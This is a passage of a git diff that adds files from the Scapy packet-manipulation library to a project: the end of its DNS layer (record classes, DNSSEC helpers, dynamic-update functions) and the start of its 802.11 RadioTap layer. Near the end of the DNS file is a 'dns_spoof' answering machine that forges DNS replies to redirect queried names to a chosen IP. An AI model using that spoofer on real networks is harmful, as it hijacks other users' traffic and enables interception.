DNSRRCountField("arcount", None, "ar"), + DNSQRField("qd", "qdcount"), + DNSRRField("an", "ancount"), + DNSRRField("ns", "nscount"), + DNSRRField("ar", "arcount", 0), + ] + + def answers(self, other): + return (isinstance(other, DNS) and + self.id == other.id and + self.qr == 1 and + other.qr == 0) + + def mysummary(self): + name = "" + if self.qr: + type = "Ans" + if self.ancount > 0 and isinstance(self.an, DNSRR): + name = ' "%s"' % self.an.rdata + else: + type = "Qry" + if self.qdcount > 0 and isinstance(self.qd, DNSQR): + name = ' "%s"' % self.qd.qname + return 'DNS %s%s ' % (type, name) + + def post_build(self, pkt, pay): + if isinstance(self.underlayer, TCP) and self.length is None: + pkt = struct.pack("!H", len(pkt) - 2) + pkt[2:] + return pkt + pay + + def compress(self): + """Return the compressed DNS packet (using `dns_compress()`""" + return dns_compress(self) + + def pre_dissect(self, s): + """ + Check that a valid DNS over TCP message can be decoded + """ + if isinstance(self.underlayer, TCP): + + # Compute the length of the DNS packet + if len(s) >= 2: + dns_len = struct.unpack("!H", s[:2])[0] + else: + message = "Malformed DNS message: too small!" + warning(message) + raise Scapy_Exception(message) + + # Check if the length is valid + if dns_len < 14 or len(s) < dns_len: + message = "Malformed DNS message: invalid length!" + warning(message) + raise Scapy_Exception(message) + + return s + + +# https://www.iana.org/assignments/dns-parameters/dns-parameters.xhtml#dns-parameters-4 +dnstypes = { + 0: "ANY", + 1: "A", 2: "NS", 3: "MD", 4: "MF", 5: "CNAME", 6: "SOA", 7: "MB", 8: "MG", + 9: "MR", 10: "NULL", 11: "WKS", 12: "PTR", 13: "HINFO", 14: "MINFO", + 15: "MX", 16: "TXT", 17: "RP", 18: "AFSDB", 19: "X25", 20: "ISDN", 21: "RT", # noqa: E501 + 22: "NSAP", 23: "NSAP-PTR", 24: "SIG", 25: "KEY", 26: "PX", 27: "GPOS", + 28: "AAAA", 29: "LOC", 30: "NXT", 31: "EID", 32: "NIMLOC", 33: "SRV", + 34: "ATMA", 35: "NAPTR", 36: "KX", 37: "CERT", 38: "A6", 39: "DNAME", + 40: "SINK", 41: "OPT", 42: "APL", 43: "DS", 44: "SSHFP", 45: "IPSECKEY", + 46: "RRSIG", 47: "NSEC", 48: "DNSKEY", 49: "DHCID", 50: "NSEC3", + 51: "NSEC3PARAM", 52: "TLSA", 53: "SMIMEA", 55: "HIP", 56: "NINFO", 57: "RKEY", # noqa: E501 + 58: "TALINK", 59: "CDS", 60: "CDNSKEY", 61: "OPENPGPKEY", 62: "CSYNC", + 99: "SPF", 100: "UINFO", 101: "UID", 102: "GID", 103: "UNSPEC", 104: "NID", + 105: "L32", 106: "L64", 107: "LP", 108: "EUI48", 109: "EUI64", + 249: "TKEY", 250: "TSIG", 256: "URI", 257: "CAA", 258: "AVC", + 32768: "TA", 32769: "DLV", 65535: "RESERVED" +} + +dnsqtypes = {251: "IXFR", 252: "AXFR", 253: "MAILB", 254: "MAILA", 255: "ALL"} +dnsqtypes.update(dnstypes) +dnsclasses = {1: 'IN', 2: 'CS', 3: 'CH', 4: 'HS', 255: 'ANY'} + + +class DNSQR(InheritOriginDNSStrPacket): + name = "DNS Question Record" + show_indent = 0 + fields_desc = [DNSStrField("qname", "www.example.com"), + ShortEnumField("qtype", 1, dnsqtypes), + ShortEnumField("qclass", 1, dnsclasses)] + + +# RFC 2671 - Extension Mechanisms for DNS (EDNS0) + +class EDNS0TLV(Packet): + name = "DNS EDNS0 TLV" + fields_desc = [ShortEnumField("optcode", 0, {0: "Reserved", 1: "LLQ", 2: "UL", 3: "NSID", 4: "Reserved", 5: "PING"}), # noqa: E501 + FieldLenField("optlen", None, "optdata", fmt="H"), + StrLenField("optdata", "", length_from=lambda pkt: pkt.optlen)] # noqa: E501 + + def extract_padding(self, p): + return "", p + + +class DNSRROPT(InheritOriginDNSStrPacket): + name = "DNS OPT Resource Record" + fields_desc = [DNSStrField("rrname", ""), + ShortEnumField("type", 41, dnstypes), + ShortField("rclass", 4096), + ByteField("extrcode", 0), + ByteField("version", 0), + # version 0 means EDNS0 + BitEnumField("z", 32768, 16, {32768: "D0"}), + # D0 means DNSSEC OK from RFC 3225 + FieldLenField("rdlen", None, length_of="rdata", fmt="H"), + PacketListField("rdata", [], EDNS0TLV, length_from=lambda pkt: pkt.rdlen)] # noqa: E501 + +# RFC 4034 - Resource Records for the DNS Security Extensions + + +# 09/2013 from http://www.iana.org/assignments/dns-sec-alg-numbers/dns-sec-alg-numbers.xhtml # noqa: E501 +dnssecalgotypes = {0: "Reserved", 1: "RSA/MD5", 2: "Diffie-Hellman", 3: "DSA/SHA-1", # noqa: E501 + 4: "Reserved", 5: "RSA/SHA-1", 6: "DSA-NSEC3-SHA1", + 7: "RSASHA1-NSEC3-SHA1", 8: "RSA/SHA-256", 9: "Reserved", + 10: "RSA/SHA-512", 11: "Reserved", 12: "GOST R 34.10-2001", + 13: "ECDSA Curve P-256 with SHA-256", 14: "ECDSA Curve P-384 with SHA-384", # noqa: E501 + 252: "Reserved for Indirect Keys", 253: "Private algorithms - domain name", # noqa: E501 + 254: "Private algorithms - OID", 255: "Reserved"} + +# 09/2013 from http://www.iana.org/assignments/ds-rr-types/ds-rr-types.xhtml +dnssecdigesttypes = {0: "Reserved", 1: "SHA-1", 2: "SHA-256", 3: "GOST R 34.11-94", 4: "SHA-384"} # noqa: E501 + + +def bitmap2RRlist(bitmap): + """ + Decode the 'Type Bit Maps' field of the NSEC Resource Record into an + integer list. + """ + # RFC 4034, 4.1.2. The Type Bit Maps Field + + RRlist = [] + + while bitmap: + + if len(bitmap) < 2: + warning("bitmap too short (%i)" % len(bitmap)) + return + + window_block = orb(bitmap[0]) # window number + offset = 256 * window_block # offset of the Resource Record + bitmap_len = orb(bitmap[1]) # length of the bitmap in bytes + + if bitmap_len <= 0 or bitmap_len > 32: + warning("bitmap length is no valid (%i)" % bitmap_len) + return + + tmp_bitmap = bitmap[2:2 + bitmap_len] + + # Let's compare each bit of tmp_bitmap and compute the real RR value + for b in range(len(tmp_bitmap)): + v = 128 + for i in range(8): + if orb(tmp_bitmap[b]) & v: + # each of the RR is encoded as a bit + RRlist += [offset + b * 8 + i] + v = v >> 1 + + # Next block if any + bitmap = bitmap[2 + bitmap_len:] + + return RRlist + + +def RRlist2bitmap(lst): + """ + Encode a list of integers representing Resource Records to a bitmap field + used in the NSEC Resource Record. + """ + # RFC 4034, 4.1.2. The Type Bit Maps Field + + import math + + bitmap = b"" + lst = [abs(x) for x in sorted(set(lst)) if x <= 65535] + + # number of window blocks + max_window_blocks = int(math.ceil(lst[-1] / 256.)) + min_window_blocks = int(math.floor(lst[0] / 256.)) + if min_window_blocks == max_window_blocks: + max_window_blocks += 1 + + for wb in range(min_window_blocks, max_window_blocks + 1): + # First, filter out RR not encoded in the current window block + # i.e. keep everything between 256*wb <= 256*(wb+1) + rrlist = sorted(x for x in lst if 256 * wb <= x < 256 * (wb + 1)) + if not rrlist: + continue + + # Compute the number of bytes used to store the bitmap + if rrlist[-1] == 0: # only one element in the list + bytes_count = 1 + else: + max = rrlist[-1] - 256 * wb + bytes_count = int(math.ceil(max // 8)) + 1 # use at least 1 byte + if bytes_count > 32: # Don't encode more than 256 bits / values + bytes_count = 32 + + bitmap += struct.pack("BB", wb, bytes_count) + + # Generate the bitmap + # The idea is to remove out of range Resource Records with these steps + # 1. rescale to fit into 8 bits + # 2. x gives the bit position ; compute the corresponding value + # 3. sum everything + bitmap += b"".join( + struct.pack( + b"B", + sum(2 ** (7 - (x - 256 * wb) + (tmp * 8)) for x in rrlist + if 256 * wb + 8 * tmp <= x < 256 * wb + 8 * tmp + 8), + ) for tmp in range(bytes_count) + ) + + return bitmap + + +class RRlistField(StrField): + def h2i(self, pkt, x): + if isinstance(x, list): + return RRlist2bitmap(x) + return x + + def i2repr(self, pkt, x): + x = self.i2h(pkt, x) + rrlist = bitmap2RRlist(x) + return [dnstypes.get(rr, rr) for rr in rrlist] if rrlist else repr(x) + + +class _DNSRRdummy(InheritOriginDNSStrPacket): + name = "Dummy class that implements post_build() for Resource Records" + + def post_build(self, pkt, pay): + if self.rdlen is not None: + return pkt + pay + + lrrname = len(self.fields_desc[0].i2m("", self.getfieldval("rrname"))) + tmp_len = len(pkt) - lrrname - 10 + tmp_pkt = pkt[:lrrname + 8] + pkt = struct.pack("!H", tmp_len) + pkt[lrrname + 8 + 2:] + + return tmp_pkt + pkt + pay + + +class DNSRRMX(_DNSRRdummy): + name = "DNS MX Resource Record" + fields_desc = [DNSStrField("rrname", ""), + ShortEnumField("type", 6, dnstypes), + ShortEnumField("rclass", 1, dnsclasses), + IntField("ttl", 0), + ShortField("rdlen", None), + ShortField("preference", 0), + DNSStrField("exchange", ""), + ] + + +class DNSRRSOA(_DNSRRdummy): + name = "DNS SOA Resource Record" + fields_desc = [DNSStrField("rrname", ""), + ShortEnumField("type", 6, dnstypes), + ShortEnumField("rclass", 1, dnsclasses), + IntField("ttl", 0), + ShortField("rdlen", None), + DNSStrField("mname", ""), + DNSStrField("rname", ""), + IntField("serial", 0), + IntField("refresh", 0), + IntField("retry", 0), + IntField("expire", 0), + IntField("minimum", 0) + ] + + +class DNSRRRSIG(_DNSRRdummy): + name = "DNS RRSIG Resource Record" + fields_desc = [DNSStrField("rrname", ""), + ShortEnumField("type", 46, dnstypes), + ShortEnumField("rclass", 1, dnsclasses), + IntField("ttl", 0), + ShortField("rdlen", None), + ShortEnumField("typecovered", 1, dnstypes), + ByteEnumField("algorithm", 5, dnssecalgotypes), + ByteField("labels", 0), + IntField("originalttl", 0), + UTCTimeField("expiration", 0), + UTCTimeField("inception", 0), + ShortField("keytag", 0), + DNSStrField("signersname", ""), + StrField("signature", "") + ] + + +class DNSRRNSEC(_DNSRRdummy): + name = "DNS NSEC Resource Record" + fields_desc = [DNSStrField("rrname", ""), + ShortEnumField("type", 47, dnstypes), + ShortEnumField("rclass", 1, dnsclasses), + IntField("ttl", 0), + ShortField("rdlen", None), + DNSStrField("nextname", ""), + RRlistField("typebitmaps", "") + ] + + +class DNSRRDNSKEY(_DNSRRdummy): + name = "DNS DNSKEY Resource Record" + fields_desc = [DNSStrField("rrname", ""), + ShortEnumField("type", 48, dnstypes), + ShortEnumField("rclass", 1, dnsclasses), + IntField("ttl", 0), + ShortField("rdlen", None), + FlagsField("flags", 256, 16, "S???????Z???????"), + # S: Secure Entry Point + # Z: Zone Key + ByteField("protocol", 3), + ByteEnumField("algorithm", 5, dnssecalgotypes), + StrField("publickey", "") + ] + + +class DNSRRDS(_DNSRRdummy): + name = "DNS DS Resource Record" + fields_desc = [DNSStrField("rrname", ""), + ShortEnumField("type", 43, dnstypes), + ShortEnumField("rclass", 1, dnsclasses), + IntField("ttl", 0), + ShortField("rdlen", None), + ShortField("keytag", 0), + ByteEnumField("algorithm", 5, dnssecalgotypes), + ByteEnumField("digesttype", 5, dnssecdigesttypes), + StrField("digest", "") + ] + + +# RFC 5074 - DNSSEC Lookaside Validation (DLV) +class DNSRRDLV(DNSRRDS): + name = "DNS DLV Resource Record" + + def __init__(self, *args, **kargs): + DNSRRDS.__init__(self, *args, **kargs) + if not kargs.get('type', 0): + self.type = 32769 + +# RFC 5155 - DNS Security (DNSSEC) Hashed Authenticated Denial of Existence + + +class DNSRRNSEC3(_DNSRRdummy): + name = "DNS NSEC3 Resource Record" + fields_desc = [DNSStrField("rrname", ""), + ShortEnumField("type", 50, dnstypes), + ShortEnumField("rclass", 1, dnsclasses), + IntField("ttl", 0), + ShortField("rdlen", None), + ByteField("hashalg", 0), + BitEnumField("flags", 0, 8, {1: "Opt-Out"}), + ShortField("iterations", 0), + FieldLenField("saltlength", 0, fmt="!B", length_of="salt"), + StrLenField("salt", "", length_from=lambda x: x.saltlength), + FieldLenField("hashlength", 0, fmt="!B", length_of="nexthashedownername"), # noqa: E501 + StrLenField("nexthashedownername", "", length_from=lambda x: x.hashlength), # noqa: E501 + RRlistField("typebitmaps", "") + ] + + +class DNSRRNSEC3PARAM(_DNSRRdummy): + name = "DNS NSEC3PARAM Resource Record" + fields_desc = [DNSStrField("rrname", ""), + ShortEnumField("type", 51, dnstypes), + ShortEnumField("rclass", 1, dnsclasses), + IntField("ttl", 0), + ShortField("rdlen", None), + ByteField("hashalg", 0), + ByteField("flags", 0), + ShortField("iterations", 0), + FieldLenField("saltlength", 0, fmt="!B", length_of="salt"), + StrLenField("salt", "", length_from=lambda pkt: pkt.saltlength) # noqa: E501 + ] + +# RFC 2782 - A DNS RR for specifying the location of services (DNS SRV) + + +class DNSRRSRV(_DNSRRdummy): + name = "DNS SRV Resource Record" + fields_desc = [DNSStrField("rrname", ""), + ShortEnumField("type", 33, dnstypes), + ShortEnumField("rclass", 1, dnsclasses), + IntField("ttl", 0), + ShortField("rdlen", None), + ShortField("priority", 0), + ShortField("weight", 0), + ShortField("port", 0), + DNSStrField("target", ""), ] + + +# RFC 2845 - Secret Key Transaction Authentication for DNS (TSIG) +tsig_algo_sizes = {"HMAC-MD5.SIG-ALG.REG.INT": 16, + "hmac-sha1": 20} + + +class TimeSignedField(StrFixedLenField): + def __init__(self, name, default): + StrFixedLenField.__init__(self, name, default, 6) + + def _convert_seconds(self, packed_seconds): + """Unpack the internal representation.""" + seconds = struct.unpack("!H", packed_seconds[:2])[0] + seconds += struct.unpack("!I", packed_seconds[2:])[0] + return seconds + + def h2i(self, pkt, seconds): + """Convert the number of seconds since 1-Jan-70 UTC to the packed + representation.""" + + if seconds is None: + seconds = 0 + + tmp_short = (seconds >> 32) & 0xFFFF + tmp_int = seconds & 0xFFFFFFFF + + return struct.pack("!HI", tmp_short, tmp_int) + + def i2h(self, pkt, packed_seconds): + """Convert the internal representation to the number of seconds + since 1-Jan-70 UTC.""" + + if packed_seconds is None: + return None + + return self._convert_seconds(packed_seconds) + + def i2repr(self, pkt, packed_seconds): + """Convert the internal representation to a nice one using the RFC + format.""" + time_struct = time.gmtime(self._convert_seconds(packed_seconds)) + return time.strftime("%a %b %d %H:%M:%S %Y", time_struct) + + +class DNSRRTSIG(_DNSRRdummy): + name = "DNS TSIG Resource Record" + fields_desc = [DNSStrField("rrname", ""), + ShortEnumField("type", 250, dnstypes), + ShortEnumField("rclass", 1, dnsclasses), + IntField("ttl", 0), + ShortField("rdlen", None), + DNSStrField("algo_name", "hmac-sha1"), + TimeSignedField("time_signed", 0), + ShortField("fudge", 0), + FieldLenField("mac_len", 20, fmt="!H", length_of="mac_data"), # noqa: E501 + StrLenField("mac_data", "", length_from=lambda pkt: pkt.mac_len), # noqa: E501 + ShortField("original_id", 0), + ShortField("error", 0), + FieldLenField("other_len", 0, fmt="!H", length_of="other_data"), # noqa: E501 + StrLenField("other_data", "", length_from=lambda pkt: pkt.other_len) # noqa: E501 + ] + + +DNSRR_DISPATCHER = { + 6: DNSRRSOA, # RFC 1035 + 15: DNSRRMX, # RFC 1035 + 33: DNSRRSRV, # RFC 2782 + 41: DNSRROPT, # RFC 1671 + 43: DNSRRDS, # RFC 4034 + 46: DNSRRRSIG, # RFC 4034 + 47: DNSRRNSEC, # RFC 4034 + 48: DNSRRDNSKEY, # RFC 4034 + 50: DNSRRNSEC3, # RFC 5155 + 51: DNSRRNSEC3PARAM, # RFC 5155 + 250: DNSRRTSIG, # RFC 2845 + 32769: DNSRRDLV, # RFC 4431 +} + +DNSSEC_CLASSES = tuple(six.itervalues(DNSRR_DISPATCHER)) + + +def isdnssecRR(obj): + return isinstance(obj, DNSSEC_CLASSES) + + +class DNSRR(InheritOriginDNSStrPacket): + name = "DNS Resource Record" + show_indent = 0 + fields_desc = [DNSStrField("rrname", ""), + ShortEnumField("type", 1, dnstypes), + ShortEnumField("rclass", 1, dnsclasses), + IntField("ttl", 0), + FieldLenField("rdlen", None, length_of="rdata", fmt="H"), + MultipleTypeField( + [ + # A + (IPField("rdata", "0.0.0.0"), + lambda pkt: pkt.type == 1), + # AAAA + (IP6Field("rdata", "::"), + lambda pkt: pkt.type == 28), + # NS, MD, MF, CNAME, PTR + (DNSStrField("rdata", "", + length_from=lambda pkt: pkt.rdlen), + lambda pkt: pkt.type in [2, 3, 4, 5, 12]), + # TEXT + (DNSTextField("rdata", [], + length_from=lambda pkt: pkt.rdlen), + lambda pkt: pkt.type == 16), + ], + StrLenField("rdata", "", + length_from=lambda pkt:pkt.rdlen) + )] + + +bind_layers(UDP, DNS, dport=5353) +bind_layers(UDP, DNS, sport=5353) +bind_layers(UDP, DNS, dport=53) +bind_layers(UDP, DNS, sport=53) +DestIPField.bind_addr(UDP, "224.0.0.251", dport=5353) +DestIP6Field.bind_addr(UDP, "ff02::fb", dport=5353) +bind_layers(TCP, DNS, dport=53) +bind_layers(TCP, DNS, sport=53) + + +@conf.commands.register +def dyndns_add(nameserver, name, rdata, type="A", ttl=10): + """Send a DNS add message to a nameserver for "name" to have a new "rdata" +dyndns_add(nameserver, name, rdata, type="A", ttl=10) -> result code (0=ok) + +example: dyndns_add("ns1.toto.com", "dyn.toto.com", "127.0.0.1") +RFC2136 +""" + zone = name[name.find(".") + 1:] + r = sr1(IP(dst=nameserver) / UDP() / DNS(opcode=5, + qd=[DNSQR(qname=zone, qtype="SOA")], # noqa: E501 + ns=[DNSRR(rrname=name, type="A", + ttl=ttl, rdata=rdata)]), + verbose=0, timeout=5) + if r and r.haslayer(DNS): + return r.getlayer(DNS).rcode + else: + return -1 + + +@conf.commands.register +def dyndns_del(nameserver, name, type="ALL", ttl=10): + """Send a DNS delete message to a nameserver for "name" +dyndns_del(nameserver, name, type="ANY", ttl=10) -> result code (0=ok) + +example: dyndns_del("ns1.toto.com", "dyn.toto.com") +RFC2136 +""" + zone = name[name.find(".") + 1:] + r = sr1(IP(dst=nameserver) / UDP() / DNS(opcode=5, + qd=[DNSQR(qname=zone, qtype="SOA")], # noqa: E501 + ns=[DNSRR(rrname=name, type=type, + rclass="ANY", ttl=0, rdata="")]), # noqa: E501 + verbose=0, timeout=5) + if r and r.haslayer(DNS): + return r.getlayer(DNS).rcode + else: + return -1 + + +class DNS_am(AnsweringMachine): + function_name = "dns_spoof" + filter = "udp port 53" + + def parse_options(self, joker="192.168.1.1", match=None): + if match is None: + self.match = {} + else: + self.match = match + self.joker = joker + + def is_request(self, req): + return req.haslayer(DNS) and req.getlayer(DNS).qr == 0 + + def make_reply(self, req): + ip = req.getlayer(IP) + dns = req.getlayer(DNS) + resp = IP(dst=ip.src, src=ip.dst) / UDP(dport=ip.sport, sport=ip.dport) + rdata = self.match.get(dns.qd.qname, self.joker) + resp /= DNS(id=dns.id, qr=1, qd=dns.qd, + an=DNSRR(rrname=dns.qd.qname, ttl=10, rdata=rdata)) + return resp diff --git a/libs/scapy/layers/dot11.py b/libs/scapy/layers/dot11.py new file mode 100755 index 0000000..1372db4 --- /dev/null +++ b/libs/scapy/layers/dot11.py @@ -0,0 +1,1272 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# Copyright (C) Philippe Biondi + +""" +Wireless LAN according to IEEE 802.11. +""" + +from __future__ import print_function +import math +import re +import struct +from zlib import crc32 + +from scapy.config import conf, crypto_validator +from scapy.data import ETHER_ANY, DLT_IEEE802_11, DLT_PRISM_HEADER, \ + DLT_IEEE802_11_RADIO +from scapy.compat import raw, plain_str, orb, chb +from scapy.packet import Packet, bind_layers, bind_top_down, NoPayload +from scapy.fields import ByteField, LEShortField, BitField, LEShortEnumField, \ + ByteEnumField, X3BytesField, FlagsField, LELongField, StrField, \ + StrLenField, IntField, XByteField, LEIntField, StrFixedLenField, \ + LESignedIntField, ReversePadField, ConditionalField, PacketListField, \ + ShortField, BitEnumField, FieldLenField, LEFieldLenField, \ + FieldListField, XStrFixedLenField, PacketField, FCSField, \ + ScalingField +from scapy.ansmachine import AnsweringMachine +from scapy.plist import PacketList +from scapy.layers.l2 import Ether, LLC, MACField +from scapy.layers.inet import IP, TCP +from scapy.error import warning, log_loading +from scapy.sendrecv import sniff, sendp + + +if conf.crypto_valid: + from cryptography.hazmat.backends import default_backend + from cryptography.hazmat.primitives.ciphers import Cipher, algorithms +else: + default_backend = Ciphers = algorithms = None + log_loading.info("Can't import python-cryptography v1.7+. Disabled WEP decryption/encryption. (Dot11)") # noqa: E501 + + +# Layers + + +class PrismHeader(Packet): + """ iwpriv wlan0 monitor 3 """ + name = "Prism header" + fields_desc = [LEIntField("msgcode", 68), + LEIntField("len", 144), + StrFixedLenField("dev", "", 16), + LEIntField("hosttime_did", 0), + LEShortField("hosttime_status", 0), + LEShortField("hosttime_len", 0), + LEIntField("hosttime", 0), + LEIntField("mactime_did", 0), + LEShortField("mactime_status", 0), + LEShortField("mactime_len", 0), + LEIntField("mactime", 0), + LEIntField("channel_did", 0), + LEShortField("channel_status", 0), + LEShortField("channel_len", 0), + LEIntField("channel", 0), + LEIntField("rssi_did", 0), + LEShortField("rssi_status", 0), + LEShortField("rssi_len", 0), + LEIntField("rssi", 0), + LEIntField("sq_did", 0), + LEShortField("sq_status", 0), + LEShortField("sq_len", 0), + LEIntField("sq", 0), + LEIntField("signal_did", 0), + LEShortField("signal_status", 0), + LEShortField("signal_len", 0), + LESignedIntField("signal", 0), + LEIntField("noise_did", 0), + LEShortField("noise_status", 0), + LEShortField("noise_len", 0), + LEIntField("noise", 0), + LEIntField("rate_did", 0), + LEShortField("rate_status", 0), + LEShortField("rate_len", 0), + LEIntField("rate", 0), + LEIntField("istx_did", 0), + LEShortField("istx_status", 0), + LEShortField("istx_len", 0), + LEIntField("istx", 0), + LEIntField("frmlen_did", 0), + LEShortField("frmlen_status", 0), + LEShortField("frmlen_len", 0), + LEIntField("frmlen", 0), + ] + + def answers(self, other): + if isinstance(other, PrismHeader): + return self.payload.answers(other.payload) + else: + return self.payload.answers(other) + + +# RadioTap + +class _RadiotapReversePadField(ReversePadField): + def __init__(self, fld): + # Quote from https://www.radiotap.org/: + # ""Radiotap requires that all fields in the radiotap header are aligned to natural boundaries. # noqa: E501 + # For radiotap, that means all 8-, 16-, 32-, and 64-bit fields must begin on 8-, 16-, 32-, and 64-bit boundaries, respectively."" # noqa: E501 + if isinstance(fld, BitField): + _align = int(math.ceil(fld.i2len(None, None))) + else: + _align = struct.calcsize(fld.fmt) + ReversePadField.__init__( + self, + fld, + _align, + padwith=b"\x00" + ) + + +def _next_radiotap_extpm(pkt, lst, cur, s): + """Generates the next RadioTapExtendedPresenceMask""" + if cur is None or (cur.present and cur.present.Ext): + st = len(lst) + (cur is not None) + return lambda *args: RadioTapExtendedPresenceMask(*args, index=st) + return None + + +class RadioTapExtendedPresenceMask(Packet): + """RadioTapExtendedPresenceMask should be instantiated by passing an + `index=` kwarg, stating which place the item has in the list. + + Passing index will update the b[x] fields accordingly to the index. + e.g. + >>> a = RadioTapExtendedPresenceMask(present="b0+b12+b29+Ext") + >>> b = RadioTapExtendedPresenceMask(index=1, present="b33+b45+b59+b62") + >>> pkt = RadioTap(present="Ext", Ext=[a, b]) + """ + name = "RadioTap Extended presence mask" + fields_desc = [FlagsField('present', None, -32, + ["b%s" % i for i in range(0, 31)] + ["Ext"])] + + def __init__(self, _pkt=None, index=0, **kwargs): + self._restart_indentation(index) + Packet.__init__(self, _pkt, **kwargs) + + def _restart_indentation(self, index): + st = index * 32 + self.fields_desc[0].names = ["b%s" % (i + st) for i in range(0, 31)] + ["Ext"] # noqa: E501 + + def guess_payload_class(self, pay): + return conf.padding_layer + +# RadioTap constants + + +_rt_present = ['TSFT', 'Flags', 'Rate', 'Channel', 'FHSS', 'dBm_AntSignal', + 'dBm_AntNoise', 'Lock_Quality', 'TX_Attenuation', + 'dB_TX_Attenuation', 'dBm_TX_Power', 'Antenna', + 'dB_AntSignal', 'dB_AntNoise', 'RXFlags', 'TXFlags', + 'b17', 'b18', 'ChannelPlus', 'MCS', 'A_MPDU', + 'VHT', 'timestamp', 'HE', 'HE_MU', 'HE_MU_other_user', + 'zero_length_psdu', 'L_SIG', 'b28', + 'RadiotapNS', 'VendorNS', 'Ext'] + +# Note: Inconsistencies with wireshark +# Wireshark ignores the suggested fields, whereas we implement some of them +# (some are well-used even though not accepted) +# However, flags that conflicts with Wireshark are not and MUST NOT be +# implemented -> b17, b18 + +_rt_flags = ['CFP', 'ShortPreamble', 'wep', 'fragment', 'FCS', 'pad', + 'badFCS', 'ShortGI'] + +_rt_channelflags = ['res1', 'res2', 'res3', 'res4', 'Turbo', 'CCK', + 'OFDM', '2GHz', '5GHz', 'Passive', 'Dynamic_CCK_OFDM', + 'GFSK', 'GSM', 'StaticTurbo', '10MHz', '5MHz'] + +_rt_rxflags = ["res1", "BAD_PLCP", "res2"] + +_rt_txflags = ["TX_FAIL", "CTS", "RTS", "NOACK", "NOSEQ"] + +_rt_channelflags2 = ['res1', 'res2', 'res3', 'res4', 'Turbo', 'CCK', + 'OFDM', '2GHz', '5GHz', 'Passive', 'Dynamic_CCK_OFDM', + 'GFSK', 'GSM', 'StaticTurbo', '10MHz', '5MHz', + '20MHz', '40MHz_ext_channel_above', + '40MHz_ext_channel_below', + 'res5', 'res6', 'res7', 'res8', 'res9'] + +_rt_knownmcs = ['MCS_bandwidth', 'MCS_index', 'guard_interval', 'HT_format', + 'FEC_type', 'STBC_streams', 'Ness', 'Ness_MSB'] + +_rt_bandwidth = {0: "20MHz", 1: "40MHz", 2: "ht40Mhz-", 3: "ht40MHz+"} + +_rt_a_mpdu_flags = ['Report0Subframe', 'Is0Subframe', 'KnownLastSubframe', + 'LastSubframe', 'CRCerror', 'EOFsubframe', 'KnownEOF', + 'res1', 'res2', 'res3', 'res4', 'res5', 'res6', 'res7', + 'res8'] + +_rt_vhtbandwidth = { + 0: "20MHz", 1: "40MHz", 2: "40MHz", 3: "40MHz", 4: "80MHz", 5: "80MHz", + 6: "80MHz", 7: "80MHz", 8: "80MHz", 9: "80MHz", 10: "80MHz", 11: "160MHz", + 12: "160MHz", 13: "160MHz", 14: "160MHz", 15: "160MHz", 16: "160MHz", + 17: "160MHz", 18: "160MHz", 19: "160MHz", 20: "160MHz", 21: "160MHz", + 22: "160MHz", 23: "160MHz", 24: "160MHz", 25: "160MHz" +} + +_rt_knownvht = ['STBC', 'TXOP_PS_NOT_ALLOWED', 'GuardInterval', 'SGINsysmDis', + 'LDPCextraOFDM', 'Beamformed', 'Bandwidth', 'GroupID', + 'PartialAID', + 'res1', 'res2', 'res3', 'res4', 'res5', 'res6', 'res7'] + +_rt_presentvht = ['STBC', 'TXOP_PS_NOT_ALLOWED', 'GuardInterval', + 'SGINsysmDis', 'LDPCextraOFDM', 'Beamformed', + 'res1', 'res2'] + +_rt_hemuother_per_user_known = { + 'user field position', + 'STA-ID', + 'NSTS', + 'Tx Beamforming', + 'Spatial Configuration', + 'MCS', + 'DCM', + 'Coding', +} + + +class RadioTap(Packet): + name = "RadioTap" + deprecated_fields = { + "Channel": ("ChannelFrequency", "2.4.3"), + "ChannelFlags2": ("ChannelPlusFlags", "2.4.3"), + "ChannelNumber": ("ChannelPlusNumber", "2.4.3"), + } + fields_desc = [ + ByteField('version', 0), + ByteField('pad', 0), + LEShortField('len', None), + FlagsField('present', None, -32, _rt_present), # noqa: E501 + # Extended presence mask + ConditionalField(PacketListField("Ext", [], next_cls_cb=_next_radiotap_extpm), lambda pkt: pkt.present and pkt.present.Ext), # noqa: E501 + # RadioTap fields - each starts with a _RadiotapReversePadField + # to handle padding + + # TSFT + ConditionalField( + _RadiotapReversePadField( + LELongField("mac_timestamp", 0) + ), + lambda pkt: pkt.present and pkt.present.TSFT), + # Flags + ConditionalField( + _RadiotapReversePadField( + FlagsField("Flags", None, -8, _rt_flags) + ), + lambda pkt: pkt.present and pkt.present.Flags), + # Rate + ConditionalField( + _RadiotapReversePadField( + ByteField("Rate", 0) + ), + lambda pkt: pkt.present and pkt.present.Rate), + # Channel + ConditionalField( + _RadiotapReversePadField( + LEShortField("ChannelFrequency", 0) + ), + lambda pkt: pkt.present and pkt.present.Channel), + ConditionalField( + FlagsField("ChannelFlags", None, -16, _rt_channelflags), + lambda pkt: pkt.present and pkt.present.Channel), + # dBm_AntSignal + ConditionalField( + _RadiotapReversePadField( + ScalingField("dBm_AntSignal", 0, + offset=-256, unit="dBm", + fmt="B") + ), + lambda pkt: pkt.present and pkt.present.dBm_AntSignal), + # dBm_AntNoise + ConditionalField( + _RadiotapReversePadField( + ScalingField("dBm_AntNoise", 0, + offset=-256, unit="dBm", + fmt="B") + ), + lambda pkt: pkt.present and pkt.present.dBm_AntNoise), + # Lock_Quality + ConditionalField( + _RadiotapReversePadField( + LEShortField("Lock_Quality", 0), + ), + lambda pkt: pkt.present and pkt.present.Lock_Quality), + # Antenna + ConditionalField( + _RadiotapReversePadField( + ByteField("Antenna", 0) + ), + lambda pkt: pkt.present and pkt.present.Antenna), + # RX Flags + ConditionalField( + _RadiotapReversePadField( + FlagsField("RXFlags", None, -16, _rt_rxflags) + ), + lambda pkt: pkt.present and pkt.present.RXFlags), + # TX Flags + ConditionalField( + _RadiotapReversePadField( + FlagsField("TXFlags", None, -16, _rt_txflags) + ), + lambda pkt: pkt.present and pkt.present.TXFlags), + # ChannelPlus + ConditionalField( + _RadiotapReversePadField( + FlagsField("ChannelPlusFlags", None, -32, _rt_channelflags2) + ), + lambda pkt: pkt.present and pkt.present.ChannelPlus), + ConditionalField( + LEShortField("ChannelPlusFrequency", 0), + lambda 